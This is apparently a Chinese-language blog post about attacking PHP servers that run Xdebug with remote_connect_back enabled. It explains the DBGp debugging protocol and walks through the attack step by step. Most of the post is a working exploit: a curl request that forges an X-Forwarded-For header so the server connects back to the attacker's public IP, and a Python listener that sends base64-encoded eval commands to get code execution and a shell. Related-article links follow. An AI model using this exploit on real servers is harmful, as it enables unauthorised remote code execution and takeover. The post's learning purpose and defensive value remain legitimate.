title: xdebug插件攻击

date: 2017-09-30 17:08:38

tags:

前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.自己搭环境记录一下.

关于Xdebug的攻击

刚学php的时候用的phpstorm,当时为了动态调试,配置Xdebug配了很久,当时对这个有一个比较模糊的认识,当时觉得是在浏览器还有ide还有server之间是有某些数据交互的,第一次配的的时候当时ide一直监听收不到数据,当时想要是自己可以操作数据来测试哪里出问题就好了,一直耿耿于怀,前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.

Xdebug调试的工作流程

1.ide开始调试监听本地9000端口

2.浏览器发送一个带有XDEBUG_SESSION_START的请求发给服务端

3.服务端收到这个参数,就会通知xdebug

4.xdebug收到通知了就会向来源的地址的9000端口发送一个请求

5.ide收到请求并响应建立连接

之后就是相互通讯然后调试代码了

首先Xdebug有关于远程调试是使用的DBGp协议

下面是有关于通讯流程的一个演示

利用条件

一般来说关于xdebug.remote_host这个配置默认是localhost也就是默认通讯的的都是localhost,这明显不利于我们的利用

但是如果xdebug.remote_connect_back这个配置启用的话xdebug.remote_host就会被忽略,并通过$ _SERVER ['HTTP_X_FORWARDED_FOR']和$ _SERVER ['REMOTE_ADDR']变量来获取ip

还有一个就是要开启xdebug.remote_enable,这个开关控制Xdebug是否应尝试联系正在监听主机和端口的调试客户端

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

也就是这两个是必要条件

利用方式

DBGp 的文档有一些敏感的操作

1.读文件

source -i transaction_id -f fileURI

2.eval

eval -i transaction_id - {DATA}

只需要构造请求的参数,XDEBUG_SESSION_START=xxx

还需要构造XFF头

然后检测服务端是否对XFF的地址的9000端口进行请求,就可以判断是否可以利用,

curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: localhost"

利用的exp这里之间粘贴原文章的,就是建立一个tcp的连接监听9000端口然后安装协议发送数据就可以了

#!/usr/bin/python2
import socket ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept() while True:
client_data = conn.recv(1024)
print(client_data) data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

利用方式就是先运行exp监听9000端口

获取连接curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: 你的公网ip地址"

然后exp接收到连接就可以调用system函数弹shell了.

xdebug插件攻击的更多相关文章

  1. sublime 修改Xdebug插件快捷键

    最近在用Xdebug插件 感觉挺好用 但是快捷键不太舒服,特别是调试下一步的时候,比较麻烦,按键较多: 所以想DIY下 但是preferences->package setting ->X ...

  2. php配置xdebug插件,断点调试

    xdebug 下载地址:https://xdebug.org 1.项目目录下新建phpinfo(); 文件: 2.快速查找符合自己的phpxdebug插件: https://xdebug.org/wi ...

  3. 本地xdebug调试搭建 Laravel+homestead+phpstorm

    1.在homestead virtual box安装和配置xdebug 先在终端运行vagrant up 和 vagrant ssh,ssh远程到homestead,然后复制以下代码到一个shell文 ...

  4. PHPStorm Xdebug配置

    下载PHSTORM https://download.jetbrains.com/webide/PhpStorm-2016.1.2.exe http://idea.lanyus.com/查找授权服务器 ...

  5. PhpStorm 配置Xdebug

    IDE => Xdebug => Apache(XAMPP) => Firefox + easist Xdebug 1>XAMPP停止apache服务;2>在安装目录下找 ...

  6. NETBEANS + XDEBUG + IIS PHP 代码 调试 DEBUG

    参考: http://domainwebcenter.com/?p=936 http://www.sitepoint.com/debugging-and-profiling-php-with-xdeb ...

  7. 史上最佳 Mac+PhpStorm+XAMPP+Xdebug 集成开发和断点调试环境的配置

    在上一篇 PHP 系列的文章<PHP 集成开发环境比较>中,我根据自己的亲身体验,非常简略的介绍和对比了几款常用的集成开发环境,就我个人而言,比较推崇 Zend Studio 和 PhpS ...

  8. mac OS X下PhpStorm+MAMP PRO+Xdebug+FireFox集成开发和断点调试环境配置

    一.环境及软件 1.macbook pro 2.Phpstorm 3.MAMP PRO 4.FireFox 二.环境搭建 1.PhpStorm导入项目 下载PhpStorm并安装,网上随便找个注册码即 ...

  9. phpeclipse xdebug 配置配置 -摘自网络

    一.安装配置 1.访问 http://www.phpeclipse.com/ ,找到右边的 1.2.x dev nightly下的http://update.phpeclipse.com/update ...

随机推荐

  1. 一条SQL注入引出的惊天大案2:无限战争

    前情回顾: 经过黑衣人和老周的合作,终于清除了入侵Linux帝国的网页病毒,并修复了漏洞.不曾想激怒了幕后的黑手,一场新的风雨即将来临. 详情参见:一条SQL注入引出的惊天大案   风云再起 小Q是L ...

  2. 原生javascript 基础动画原理

    一.实现原理: 1.开定时器前先清除定时器 2.设置定时器 3.当前元素的位置 + 每一步的长度 4.当元素当前位置超过目标点时,把当前位置==目标点 5.设置元素位置,开始运动 6.判断当前位置如果 ...

  3. VUE CLI环境搭建文档

    VUE CLI环境搭建文档 1.安装Node.js 下载地址 https://nodejs.org/zh-cn/download/ 2.全局安装VUE CLI win+R键打开运行cmd窗口输入一下代 ...

  4. Scala与Mongodb实践2-----图片、日期的存储读取

    目的:在IDEA中实现图片.日期等相关的类型在mongodb存储读取 主要是Scala和mongodb里面的类型的转换.Scala里面的数据编码类型和mongodb里面的存储的数据类型各个不同.存在类 ...

  5. python递归(函数)

    递归:一个过程或函数调用自身的一种方法. 1. 效果图 2. 代码 def factorial(n): ''' 该函数用来求任意数的阶乘 参数: n 要求阶乘的数字 ''' # 基线条件 判断n是否为 ...

  6. 从源码角度了解SpringMVC的执行流程

    目录 从源码角度了解SpringMVC的执行流程 SpringMVC介绍 源码分析思路 源码解读 几个关键接口和类 前端控制器 DispatcherServlet 结语 从源码角度了解SpringMV ...

  7. aliPayPlus 科普使用

    本文出自APICloud官方论坛, 感谢论坛版主City7的分享. 首先到 https://open.alipay.com/platform/manageHome.htm 申请应用上线 支付宝网关:这 ...

  8. UIPickerView 模块示例demo

    本文出自APICloud官方论坛 UIPickerView 此模块封装了一个可以从屏幕底部向上弹出的 action 选择器(3D滚轮效果).开发者可自定义选择器的样式,包括:导航条颜色.高度,导航条上 ...

  9. stormzhangB站直播之总结

    此文转自个人微信公众号,原链接为:https://mp.weixin.qq.com/s?__biz=MzUxODk0ODQ3Ng==&mid=2247484313&idx=1& ...

  10. Java单体应用 - Markdown - 01.简介

    原文地址:http://www.work100.net/training/monolithic-markdown.html 更多教程:光束云 - 免费课程 简介 序号 文内章节 视频 1 概述 2 特 ...